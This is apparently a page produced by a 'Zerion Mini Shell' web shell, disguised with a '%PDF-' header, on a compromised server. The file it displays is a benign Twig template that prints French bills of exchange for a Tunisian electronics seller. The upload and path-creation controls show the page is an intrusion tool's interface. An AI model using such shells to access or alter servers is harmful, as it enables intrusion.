%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emtnaeewxm/www/src/EEM/TraiteBundle/Resources/views/traite/
Upload File :
Create Path :
Current File : /home/emtnaeewxm/www/src/EEM/TraiteBundle/Resources/views/traite/generer_traite1.html.twig

<style>
    .traite {
        width: 755px;
        height: 350px;
        margin-bottom: 10px;
        position: relative;
        border-bottom: 1px dashed #000000;
    }

    .traite_left {
        padding: 10px;
        width: 230px;
        height: 330px;
        position: absolute;
    }

    .traite_left .info {
        text-align: center;
        width: 230px;
    }

    .traite_right {
        padding: 10px;
        width: 465px;
        height: 330px;
        left: 250px;
        top: 0;
        position: absolute;
    }
    .text_traite{
        text-align: justify;
        width: 230px;
        margin-top: 20px;
    }
    .mahdi{
        font-size: 16px;
        font-weight: bold;

    }
    .signature{
        margin-top: 10px;
        font-weight: bold;
        text-align: center;
        width: 230px;
    }
    .tire{
        position: absolute;
        top:180px;
        left: 10px;
        padding: 10px;
        border:1px solid #000000;
        width: 465px;
        height: 120px;
    }
    .text_tire{
        height: 25px;
        width: 465px;
        position: absolute;
        top:10px;
        left: 10px;
        font-weight: bold;
        text-align: center;
        font-size: 16px;
    }
    .nom_prenom{
        height: 25px;
        width: 465px;
        position: absolute;
        top:35px;
        left: 10px;
    }
    .cin{
        height: 25px;
        width: 265px;
        position: absolute;
        top:60px;
        left: 10px;
    }
    .date_cin{
        height: 25px;
        width: 200px;
        position: absolute;
        top:60px;
        left: 270px;
    }
    .tel{
        height: 25px;
        width: 465px;
        position: absolute;
        top:85px;
        left: 10px;
    }
    .adresse{
        height: 25px;
        width: 465px;
        position: absolute;
        top:110px;
        left: 10px;
    }
    .modele{
        position: absolute;
        top:155px;
        left: 10px;
        width: 465px;
        height: 20px;
    }
    .ordre{
        position: absolute;
        top:135px;
        left: 10px;
        width: 465px;
        height: 20px;
    }
    .somme{
        position: absolute;
        top:105px;
        left: 10px;
        width: 465px;
        height: 40px;
        font-size: 16px;
    }
    .payer{
        position: absolute;
        top:75px;
        left: 10px;
        width: 465px;
        height: 20px;
        text-align: center;
        font-weight: bold;
    }
    .echeance{
        position: absolute;
        top:40px;
        left: 10px;
        width: 230px;
        height: 20px;
        border:1px solid #000;
        padding-left: 10px;
        padding-top: 5px;
    }
    .num_traite{
        position: absolute;
        top:20px;
        left: 290px;
        width: 200px;
        height: 20px;
    }
    .montant_traite{
        position: absolute;
        top:40px;
        left: 290px;
        width: 200px;
        height: 20px;
        padding-left: 10px;
        padding-top: 5px;
        background-color: #dddddd;
        font-size: 16px;
        font-weight: bold;
    }
</style>
{% set compt=1 %}
{% for ligneTraite in traite.ligneTraites %}

    <div class="traite">
        <div class="traite_left">
            <div class="info">
                <span class="mahdi">Mahdi Maimoun</span><br>
                EL AMRA ELECTRO-MOBILE<br>
                EL AMRA - SFAX<br>
                Tél.: 74 899 162<br>
                Mobile: 26 243 228<br>
            </div>
            <div class="text_traite">
                Le défaut de paiement de cette lettre de change à l'échéance, rend sans préavis, de lettres de change
                non encore échues immédiatement exigibles et le béditeur en suporte à partir de cette date, l'intérêt
                appliqué en matière commercial.<br><br>
                Tous litige auquel la présente lettre de change pourrait donner lieu sera résolu par
                les tribunaux compétents.
            </div>
            <div class="signature">
            Signature
        </div>
        </div>
        <div class="traite_right">
            <div class="date_traite"><b>El Amra Le:</b> {% if traite.dateTraite %}{{ traite.dateTraite|date('d/m/Y') }}{% endif %} </div>
            <div class="echeance">
                <b>Au:</b> {% if ligneTraite.dateEcheance %}{{ ligneTraite.dateEcheance|date('d/m/Y') }}{% endif %}
            </div>
            <div class="num_traite"><b>Traite N°:</b> {{ compt }} / {{ traite.nbTraite }}</div>
            <div class="montant_traite">B.P.D # {{ ligneTraite.montant|number_format(3,'.','') }} #</div>
            <div class="payer">Veuillez payer contre cette lettre de change </div>
            <div class="somme">la somme de {{ ligneTraite.montant|montantLettre }}</div>
            <div class="ordre">A l'ordre de <b>Mahdi Maimoun(EL AMRA ELECTRO-MOBILE)</b></div>
            <div class="modele"><b>Model:</b> {{ traite.article.famille.name }} {{ traite.article.marque.name }} {{ traite.article.name }} </div>
            <div class="tire">
                <div class="text_tire">Tire </div>
                <div class="nom_prenom"><b>Nom et prénom:</b> {{ traite.client.nom }} {{ traite.client.prenom }} </div>
                <div class="cin"><b>CIN:</b> {{ traite.client.cin }} </div>
                <div class="date_cin"><b>Date cin:</b> {% if traite.client.dateCin %}{{ traite.client.dateCin|date('d/m/Y') }}{% endif %} </div>
                <div class="adresse"><b>Adresse:</b> {{ traite.client.adresse }} </div>
                <div class="tel"><b>Téléphone:</b> {{ traite.client.telephone }} </div>
            </div>
        </div>
    </div>
    {% set compt=compt+1 %}
{% endfor %}

Zerion Mini Shell 1.0